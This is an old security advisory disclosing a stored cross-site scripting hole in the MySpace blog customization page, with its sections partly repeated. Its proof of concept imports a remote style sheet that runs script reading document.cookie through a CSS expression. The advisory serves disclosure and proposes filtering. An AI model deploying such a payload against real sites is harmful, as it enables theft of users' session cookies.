[Advisory]myspace blog xss vulnerability
By ph4nt0m. Friday, 6. April 2007, 09:50:53
by luoluo (luoluonet_at_hotmail.com||luoluonet_at_126.com)
http://www.ph4nt0m.org
2007-3-24
- description
There's a xss vulnerability in customize page of myspace blog.
User can submit html and css codes in this page, script is filtered, but css keyword
"@import" isn't filtered. So we can inject script by import a css file remotely.
- poc
- solution
Filter the css keyword "@import", but the xss blacklist will never rich the end :)
http://www.ph4nt0m.org
2007-3-24
- description
There's a xss vulnerability in customize page of myspace blog.
User can submit html and css codes in this page, script is filtered, but css keyword
"@import" isn't filtered. So we can inject script by import a css file remotely.
- poc
Head HTML textarea:
<div id="test">aaa</div>
Custom Style Sheet:
@import url(http://www.yoursite.com/test.css);
test.css:
#test {width: expression(alert(document.cookie));}
- solution
Filter the css keyword "@import", but the xss blacklist will never rich the end :)
(7%)
WIDGETIZE